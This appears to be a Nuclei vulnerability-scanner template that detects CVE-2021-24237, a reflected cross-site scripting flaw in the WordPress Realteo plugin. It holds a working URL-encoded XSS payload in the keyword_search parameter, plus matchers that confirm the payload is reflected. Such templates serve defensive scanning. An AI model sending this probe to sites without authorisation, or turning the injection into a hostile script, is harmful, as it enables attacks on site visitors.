45 lines
1.5 KiB
YAML
45 lines
1.5 KiB
YAML
|
id: CVE-2021-24237
|
||
|
|
||
|
info:
|
||
|
name: WordPress Realteo <=1.2.3 - Cross-Site Scripting
|
||
|
author: 0x_Akoko
|
||
|
severity: medium
|
||
|
description: WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
|
||
|
- https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Realteo-WordPress-Plugin-v1.2.3.txt
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24237
|
||
|
- https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Findeo-WordPress-Theme-v1.3.0.txt
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||
|
cvss-score: 6.1
|
||
|
cve-id: CVE-2021-24237
|
||
|
cwe-id: CWE-79
|
||
|
epss-score: 0.00284
|
||
|
tags: cve,cve2021,realteo,xss,wordpress,plugin,wpscan
|
||
|
|
||
|
http:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- '{{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F'
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|
||
|
|
||
|
- type: word
|
||
|
words:
|
||
|
- "autofocus onfocus=alert(/{{randstr}}/);//"
|
||
|
- "Nothing found"
|
||
|
part: body
|
||
|
condition: and
|
||
|
|
||
|
- type: word
|
||
|
words:
|
||
|
- "text/html"
|
||
|
part: header
|
||
|
|
||
|
# Enhanced by mp on 2022/09/02
|